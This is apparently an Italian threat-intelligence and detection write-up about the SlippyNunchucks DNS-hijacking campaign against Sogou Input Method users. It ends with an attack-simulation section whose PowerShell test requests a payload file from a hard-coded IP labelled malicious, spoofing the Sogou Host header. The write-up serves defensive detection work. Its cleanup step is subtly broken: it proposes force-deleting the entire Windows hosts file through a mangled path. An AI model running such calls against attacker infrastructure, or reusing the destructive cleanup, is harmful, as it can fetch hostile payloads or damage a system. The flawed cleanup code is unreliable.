Campagna Malware SlippyNunchucks Sfrutta la Promozione del Marchio Sogou

Sintesi

L’attore della minaccia SlippyNunchucks utilizza il dirottamento DNS per intercettare il traffico HTTP non sicuro generato da Sogou Input Method. Ciò consente agli aggressori di iniettare una configurazione malevola che avvia il download dell’impianto malware DarkVigil tramite tecniche di side-loading. La campagna mira principalmente agli utenti che parlano cinese nelle regioni dell’Asia e dell’Europa.

Indagine

I ricercatori di ESET hanno scoperto che il gruppo abusa del meccanismo di promozione del marchio all’interno di Sogou Input Method, in particolare del componente SGTool.exe. La manipolazione DNS reindirizza le richieste destinate ai veri endpoint di configurazione verso un’infrastruttura di staging controllata dagli aggressori. L’indagine ha anche rivelato una catena di side-loading a più stadi che coinvolge un eseguibile Adobe legittimo rinominato per nasconderne la presenza.

Mitigazione

Tencent ha risolto il problema nella versione 16.10 di Sogou Input Method migrando le richieste HTTP interessate a HTTPS e introducendo la convalida dei certificati TLS. Gli utenti dovrebbero aggiornare alla versione più recente del software disponibile per prevenire il dirottamento DNS e l’iniezione e consegna di configurazioni malevole.

Risposta

Quando viene rilevata un’attività malevola, le organizzazioni dovrebbero indagare su modifiche DNS non autorizzate e ispezionare il traffico di rete per connessioni a domini di staging noti come sogou-cdn.com. I team di sicurezza dovrebbero anche monitorare i processi figli sospetti generati dai componenti di Sogou Input Method, inclusa l’esecuzione inaspettata di binari Adobe rinominati o DLL non firmate caricate dalle directory dei componenti.

Esecuzione della simulazione

Prerequisito: Il controllo preliminare della telemetria e del baselining deve essere completato con successo.

Motivo: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e puntare a generare la telemetria esatta prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a errori di diagnosi.

• Narrazione & Comandi dell’Attacco: L’avversario mira a simulare uno scenario di dirottamento DNS dove una richiesta a config.pinyin.sogou.com viene deviata su un IP malevolo. Per attivare la specifica regola di rilevamento fornita, la simulazione bypasserà il DNS locale e utilizzerà un indirizzo IP codificato (47.239.250.102) che corrisponde ai criteri della regola. Ciò imita il momento in cui la risposta DNS dirottata dirige il software Sogou su un server controllato dall’attaccante per scaricare un payload.

• Script di Test di Regressione:

  # Simulazione di dirottamento DNS tramite connessione IP codificata per attivare la regola specifica
  # Questo imita il tentativo del Sogou Input Method di raggiungere il suo server di configurazione
  # ma viene reindirizzato a un IP malevolo.
  
  $TargetDomain = "config.pinyin.sogou.com"
  $MaliciousIP = "47.239.250.102"
  
  Write-Host "[*] Inizio della simulazione di generazione della telemetria del dirottamento DNS..."
  
  # Usiamo una connessione diretta IP per imitare l'effetto di una risoluzione DNS dirottata
  # Molti log proxy registreranno il dominio richiesto tramite l'header Host 
  # anche se la connessione viene effettuata tramite IP.
  
  try {
      $uri = "http://$($MaliciousIP)/update/config.bin"
      Write-Host "[*] Tentativo di connessione a $TargetDomain tramite $MaliciousIP"
  
      # Usando Invoke-WebRequest per simulare il traffico di rete attraverso il proxy
      Invoke-WebRequest -Uri $uri -Method Get -Headers @{"Host"="$TargetDomain"} -TimeoutSec 5
  }
  catch {
      Write-Host "[!] Connessione fallita (previsto, poiché l'IP è probabilmente offline), ma la telemetria dovrebbe essere stata generata."
  }
  
  Write-Host "[*] Simulazione completata."

• Comandi di Pulizia:

  # Questo script di simulazione non apporta cambiamenti persistenti.
  # Per pulire eventuali artefatti a livello di rete se sono stati aggiunti (ad es. file hosts), usare:
  # Remove-Item -Path C:WindowsSystem32driversetchosts -Force (Richiede permessi Admin)
  Write-Host "[*] Pulizia completata. Nessun artefatto persistente è stato creato."